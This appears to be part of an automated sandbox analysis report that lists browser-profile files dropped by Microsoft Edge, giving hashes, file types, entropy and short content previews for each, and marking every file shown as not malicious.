SHA-512:	6AA872A48225C465162DA7722B63A52604FECA328AC83A65973F3654585C57143253A84A1662AF19AD7D264060A49D21E1E92673A1D9F1A57CA7C5B3162298F7
Malicious:	false
Preview:	2024/12/19-07:44:30.142 1b5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/19-07:44:30.146 1b5c Recovering log #3.2024/12/19-07:44:30.152 1b5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\11ce063f-a3bc-4d60-a3c5-ae8974a882c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7eaa078c-1af5-46d2-8fdb-8b1770b9eb9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF25d49.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bd636d49-1f69-4b73-9cad-1da8619bc35c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d448bac9-26ba-471f-a3a3-52199050cccb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.239358132691616
Encrypted:	false
SSDEEP:	12:7KCwVvLZYebvqBZFUt8OK8og/+OKLI54ZYebvqBaJ:7vw5lYebvyg8Oiw+SoYebvL
MD5:	CF08A8C9467A04EDF646E491A6D009BF
SHA1:	4AD3DEEC18EBE3AF281E32A9FCCFC1C740E1DA86
SHA-256:	04BDF18EEB8D4AA51BC2E117A139CD30942C511A223A80549119D9E3A018CECA
SHA-512:	295EB26070720E896A6D6F9C302DA9B37B5E2E8DDF40EA5E723C4C1709221A8042E3F01BF347DF475DC1AF6390CFC53E8F6C089F4949E66A83442D59D2004046
Malicious:	false
Preview:	2024/12/19-07:44:47.565 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/19-07:44:47.567 440 Recovering log #3.2024/12/19-07:44:47.570 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.239358132691616
Encrypted:	false
SSDEEP:	12:7KCwVvLZYebvqBZFUt8OK8og/+OKLI54ZYebvqBaJ:7vw5lYebvyg8Oiw+SoYebvL
MD5:	CF08A8C9467A04EDF646E491A6D009BF
SHA1:	4AD3DEEC18EBE3AF281E32A9FCCFC1C740E1DA86
SHA-256:	04BDF18EEB8D4AA51BC2E117A139CD30942C511A223A80549119D9E3A018CECA
SHA-512:	295EB26070720E896A6D6F9C302DA9B37B5E2E8DDF40EA5E723C4C1709221A8042E3F01BF347DF475DC1AF6390CFC53E8F6C089F4949E66A83442D59D2004046
Malicious:	false
Preview:	2024/12/19-07:44:47.565 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/19-07:44:47.567 440 Recovering log #3.2024/12/19-07:44:47.570 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.209446730458473
Encrypted:	false
SSDEEP:	6:7oPGySM+q2PcNwi23oH+TcwtpIFUt8OoPGy/Zmw+OoPGJBqMVkwOcNwi23oH+TcM:7py/+vLZYebmFUt8Opy//+OpJB3V54ZT
MD5:	21CF7C28E4FE7730E14825609602B27F
SHA1:	2D0BE1A47A1CF4936FE23DAEF6AE8167601DE448
SHA-256:	393B0F049960252A8BF8D531E272E968A9444FA7D0B143A7BEBC135ABF9680E0
SHA-512:	31DE3B2843B1C946D01FA5CA7ADC4F528D011C219A814AD07F7222281E7E5DDA4E35BEBE8CF36E099BD4E6A441F09B044B933EFC1EF75BE6092E8DEA0B832835
Malicious:	false
Preview:	2024/12/19-07:44:29.225 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/19-07:44:29.225 1a1c Recovering log #3.2024/12/19-07:44:29.226 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.209446730458473
Encrypted:	false
SSDEEP:	6:7oPGySM+q2PcNwi23oH+TcwtpIFUt8OoPGy/Zmw+OoPGJBqMVkwOcNwi23oH+TcM:7py/+vLZYebmFUt8Opy//+OpJB3V54ZT
MD5:	21CF7C28E4FE7730E14825609602B27F
SHA1:	2D0BE1A47A1CF4936FE23DAEF6AE8167601DE448
SHA-256:	393B0F049960252A8BF8D531E272E968A9444FA7D0B143A7BEBC135ABF9680E0
SHA-512:	31DE3B2843B1C946D01FA5CA7ADC4F528D011C219A814AD07F7222281E7E5DDA4E35BEBE8CF36E099BD4E6A441F09B044B933EFC1EF75BE6092E8DEA0B832835
Malicious:	false
Preview:	2024/12/19-07:44:29.225 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/19-07:44:29.225 1a1c Recovering log #3.2024/12/19-07:44:29.226 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.004456791727617393
Encrypted:	false
SSDEEP:	3:ImtVf1Ditlx9pAHevX:IiVdmLpAHGX
MD5:	079EE896E5A861961C90CC2693BC201D
SHA1:	AF851752993D4A79C7B62A4040705689F69ACE8C
SHA-256:	78482B59C5F22CB511D2EF0FBAFD8ED9D2D592F9CE99B2E097C4C1467790FFC5
SHA-512:	855709F67B9452174CC910A0124C1C416F6CBAFD16006E58359F764D7CF7F4DC2A944166C98007DEF06E2E55A65EA804C13E45BC559583BF33C3CA5AE57F51B1
Malicious:	false
Preview:	VLnk.....?......[.}..'Z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2653920184977236
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMPSAELyKOMq+8HKkjucswRv8p3nVumE:K0q+n0JP9ELyKOMq+8HKkjuczRv89Y
MD5:	EB2BCB9FED61B635FE6ED00FEE76580C
SHA1:	9F40881549D8E18D27FAA71C2CE7CEE88651C63E
SHA-256:	327EAD94873141AAA64CDBAB6BACCB6CEE0F9A22868E36A49A6A03580AEA7CC5
SHA-512:	2112B0733BB4CA0E9F4DA5120054AB0BFBDB989739F3188BA660E3BF1BD3349A5012118443292115CD7FA0E780A682D769D4F1D31A12033358A0EE21389E6A93
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.47181636639710345
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB6:v7doKsKuKZKlZNmu46yjx6
MD5:	FA5B72BC43A899E3512819ED68BA2C4E
SHA1:	ABC49523B8A69FFCA5D1AA29CBE60D9B94AF9635
SHA-256:	0F0AF897E189764DD1D668609585481B7C155A63ED807A9CB1E0DA42854CE61E
SHA-512:	9D4626D21D2D4CBD3B8AB8B88D3B6E8CD3F92CDB868DCB50D5E4CBF5D77F77705DAEE0EDA36DF30A9A3CC31913873E5F391178BFCBADA60A738441E34F59B9F9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.1745187646503926
Encrypted:	false
SSDEEP:	3:Ky19NllHXtXlf0Xlpo+hg/r/DSLcVHGgS4cVHGXQfg3HKijXn:KyLln2LHgdHvj
MD5:	BED6B806D5AA2A14EF3A8C2E38C39A1F
SHA1:	33ACE6DB6819EB0029C67DC08AF86DF6A6E53FE3
SHA-256:	66F334835DD21B363795CFB06FD242E5278C53E6E53517791475AB4FDFDAF7B0
SHA-512:	BB3F432BB6154ACFF3AD3D378644B319DD6AAA316E5393BEBE7838268619FB84D40C34171B8EC65923DB003438BD0856A109B6831D9C7AFDD82ECF9AF871FC29
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ac5e4e6d-d484-4e1a-a1bc-5f0ebc5c7c99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28316
Entropy (8bit):	5.558384059042049
Encrypted:	false
SSDEEP:	768:LsuuVA7pLGLhAlWPk6fTy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxMuQXrwcLp7tuf:LsuuVMchAlWPk6fTyu1jaY1QEcJt8
MD5:	978A51DB5E37E4EE5E046BEBA3F5FB64
SHA1:	B64A45C0BAA1F55F6F9C3D1D57FA070770AF8707
SHA-256:	4201047EFB2ED65ACE83BA65A58318440291AF2A26A027B2187DBE0E748B5484
SHA-512:	C0743F6D0A556CC29B5CA668C7767261834B6F1EEAC12787CA9CE125CA279514F7E2BF5ECCA3CA2215C6F6E863BAD68F138E56DE53137AECEA24786BAD46F2F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379085869194605","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379085869194605","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c8323eda-c258-48b2-b6dd-a4ce10c992b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554999063451542
Encrypted:	false
SSDEEP:	768:LF0uqA7pLGLh3lWPk6fey8F1+UoAYDCx9Tuqh0VfUC9xbog/OVaMuXXrwg0MibqD:LF0uqMch3lWPk6feyu1jan1XEg0t+2tO
MD5:	3B21F0F5FF52DF07D67848FB7FCBEE11
SHA1:	E7F12BA9326C26B5488AC5EF0D1A076489138035
SHA-256:	DCDAC600314041C6AD45D9AE95838E7772E504CFFB40D471F56F6EB1A7395DCD
SHA-512:	B26270EF8EA202BD61464BAA54D9FA694D7080E811888FFCDD4A021E25C36917EBD5A33310F551E5ED8DEAE87CE567A2A73F41D874CAE8C67EB3C8ABA5F0A96F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379085869194605","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379085869194605","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d9516619-1df8-46a9-9cc6-71e14f6812a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561354455870734
Encrypted:	false
SSDEEP:	768:LF0uqA7pLGLh3lWPk6fey8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/7MuXXrwg0Miw:LF0uqMch3lWPk6feyu1ja2/71XEg0tcv
MD5:	9AD6C7F41BDBB2C0C716EDECE77CD06F
SHA1:	7F47BC16A90C3BC5B7E8F7342E51A402134378F2
SHA-256:	A503CF6CACB3CB0C11C92FC84B1575E08179DE1A54F116803BDAFE1501ADB55B
SHA-512:	1C2CB644F8FA68567B669761077A3A3CCB5BF082C879C964A3DBDAF8F47DF646D57FE1F844234244F43928C2849E8E2FE8B760B26F272606E64AE6A8EB752C8C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379085869194605","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379085869194605","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f96a755f-b2f3-4332-af78-1338673c3c64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fc731977-fdd3-4bb7-b082-a7a5b57ebba2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
